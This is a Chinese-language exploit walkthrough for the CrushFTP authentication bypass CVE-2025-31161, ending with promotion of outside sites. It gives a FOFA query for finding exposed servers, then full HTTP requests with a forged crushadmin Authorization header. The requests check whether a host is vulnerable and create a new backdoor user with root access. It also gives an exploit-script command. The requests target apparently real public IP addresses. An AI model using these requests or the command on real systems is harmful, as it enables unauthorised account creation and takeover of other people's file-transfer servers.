fofa：icon_hash=“-1022206565” && title=“CrushFTP WebInterface”


登录页面：https://15.160.65.226/WebInterface/login.html?link=https://15.160.65.226/
判断漏洞是否存在：

GET /WebInterface/function/?command=getUserList&serverGroup=MainUsers&c2f=55xH HTTP/1.1
Host: 15.160.65.226
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Authorization: AWS4-HMAC-SHA256 Credential=crushadmin/
Accept-Encoding: gzip, deflate
Connection: close
Cookie: CrushAuth=1751603839155_6pQevQKzd6dQKSWF2DoKgdYNeZ55xH; currentAuth=55xH
Upgrade-Insecure-Requests: 1

用户创建：

POST /WebInterface/function/ HTTP/1.1
Host: 15.160.65.226
User-Agent: python-requests/2.25.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Authorization: AWS4-HMAC-SHA256 Credential=crushadmin/
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Connection: close
Cookie: CrushAuth=1751603839155_6pQevQKzd6dQKSWF2DoKgdYNeZ55xH; currentAuth=55xH
Upgrade-Insecure-Requests: 1
Content-Length: 1092

command=setUserItem&data_action=replace&serverGroup=MainUsers&username=test123&user=%3C%3Fxml+version%3D%221.0%22+encoding%3D%22UTF-8%22%3F%3E%3Cuser+type%3D%22properties%22%3E%3Cuser_name%3Etest123%3C%2Fuser_name%3E%3Cpassword%3Etest123%3C%2Fpassword%3E%3Cextra_vfs+type%3D%22vector%22%3E%3C%2Fextra_vfs%3E%3Cversion%3E1.0%3C%2Fversion%3E%3Croot_dir%3E%2F%3C%2Froot_dir%3E%3CuserVersion%3E6%3C%2FuserVersion%3E%3Cmax_logins%3E0%3C%2Fmax_logins%3E%3Csite%3E%28SITE_PASS%29%28SITE_DOT%29%28SITE_EMAILPASSWORD%29%28CONNECT%29%3C%2Fsite%3E%3Ccreated_by_username%3Ecrushadmin%3C%2Fcreated_by_username%3E%3Ccreated_by_email%3E%3C%2Fcreated_by_email%3E%3Ccreated_time%3E1744120753370%3C%2Fcreated_time%3E%3Cpassword_history%3E%3C%2Fpassword_history%3E%3C%2Fuser%3E&xmlItem=user&vfs_items=%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22UTF-8%22%3F%3E%3Cvfs%20type%3D%22vector%22%3E%3C%2Fvfs%3E&permissions=%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22UTF-8%22%3F%3E%3CVFS%20type%3D%22properties%22%3E%3Citem%20name%3D%22%2F%22%3E%28read%29%28view%29%28resume%29%3C%2Fitem%3E%3C%2FVFS%3E&c2f=55xH

python3 CVE-2025-31161-exp.py --target_host 66.45.239.162 --port 9090 --new_user crushadmin --password hello123



漏洞验证完成；
想看其他内容访问https://www.wlaqsys.com与https://pc.fenchuan8.com/#/index?forum=106431，实验室已完成1200种漏洞验证过程。